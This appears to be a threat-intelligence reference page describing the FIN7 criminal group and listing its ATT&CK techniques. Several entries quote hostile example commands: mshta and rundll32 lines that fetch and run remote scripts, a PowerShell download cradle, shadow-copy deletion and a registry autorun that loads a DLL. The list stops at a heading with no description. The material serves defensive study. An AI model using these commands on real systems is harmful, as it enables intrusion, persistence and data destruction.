Group FIN7

FIN7 is a financially-motivated threat group that has been active since 2013. FIN7 has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of FIN7 was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, FIN7 shifted operations to a big game hunting (BGH) approach including use of REvil ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the Carbanak Group, but there appears to be several groups using Carbanak malware and are therefore tracked separately.


 

List of techniques used :


id description
T1005 Data from Local System
Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.
T1008 Fallback Channels
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.
T1021.001 Remote Services: Remote Desktop Protocol
Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features or Terminal Services DLL for Persistence.
T1021.004 Remote Services: SSH
Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.
T1021.005 Remote Services: VNC
Adversaries may use Valid Accounts to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network. VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC. Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.
T1027.001 Obfuscated Files or Information: Binary Padding
Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.
T1027.010 Obfuscated Files or Information: Command Obfuscation
Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter. For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev
T1033 System Owner/User Discovery
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.
T1036.004 Masquerading: Masquerade Task or Service
Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description. Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.
T1036.005 Masquerading: Match Legitimate Name or Location
Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. Adversaries may also use the same icon of the file they are trying to mimic.
T1047 Windows Management Instrumentation
Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management. Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads. For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., Inhibit System Recovery). **Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface. In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.
T1053.005 Scheduled Task/Job: Scheduled Task
Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task. The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel. An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes. Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.
T1059 Command and Scripting Interpreter
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.
T1059.001 Command and Scripting Interpreter: PowerShell
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack. PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).
T1059.003 Command and Scripting Interpreter: Windows Command Shell
Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
T1059.005 Command and Scripting Interpreter: Visual Basic
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as Component Object Model and the Native API through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core. Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications. VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support). Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into Spearphishing Attachment payloads (which may also involve Mark-of-the-Web Bypass to enable execution).
T1059.007 Command and Scripting Interpreter: JavaScript
Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser. JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the Component Object Model and Internet Explorer HTML Application (HTA) pages. JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and AppleScript. Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework. Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a Drive-by Compromise or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of Obfuscated Files or Information.
T1069.002 Permission Groups Discovery: Domain Groups
Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.
T1071.004 Application Layer Protocol: DNS
Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1078 Valid Accounts
Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.
T1078.003 Valid Accounts: Local Accounts
Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.
T1091 Replication Through Removable Media
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself. Mobile devices may also be used to infect PCs with malware if connected via USB. This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables. For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
T1102.002 Web Service: Bidirectional Communication
Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
T1105 Ingress Tool Transfer
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.
T1113 Screen Capture
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.
T1125 Video Capture
An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.
T1190 Exploit Public-Facing Application
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets. Depending on the flaw being exploited this may also involve Exploitation for Defense Evasion or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.
T1204.001 User Execution: Malicious Link
An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.
T1204.002 User Execution: Malicious File
An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
T1210 Exploitation of Remote Services
Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources. There are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.
T1218.005 System Binary Proxy Execution: Mshta
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.
T1218.011 System Binary Proxy Execution: Rundll32
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
T1219 Remote Access Software
An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment. Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary-controlled system. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access. Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).
T1486 Data Encrypted for Impact
Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted. In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing"). In cloud environments, storage objects within compromised accounts may also be encrypted.
T1497.002 Virtualization/Sandbox Evasion: User Activity Based Checks
Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors. Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro or waiting for a user to double click on an embedded image to activate.
T1543.003 Create or Modify System Process: Windows Service
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.
T1546.011 Event Triggered Execution: Application Shimming
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: * %WINDIR%AppPatchsysmain.sdb and * hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagsinstalledsdb Custom databases are stored in: * %WINDIR%AppPatchcustom & %WINDIR%AppPatchAppPatch64Custom and * hklmsoftwaremicrosoftwindows ntcurrentversionappcompatflagscustom To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. Shims can also be abused to establish persistence by continuously being invoked by affected programs.
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce * HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun * HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx001Depend /v 1 /d "C:tempevil[.]dll" Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:Users\[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup. The startup folder path for all users is C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp. The following Registry keys can be used to set startup folder items for persistence: * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell Folders * HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell Folders * HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser Shell Folders The following Registry keys can control automatic startup of services during boot: * HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServicesOnce * HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun * HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun Programs listed in the load value of the registry key HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows run automatically for the currently logged-on user. By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
T1553.002 Subvert Trust Controls: Code Signing
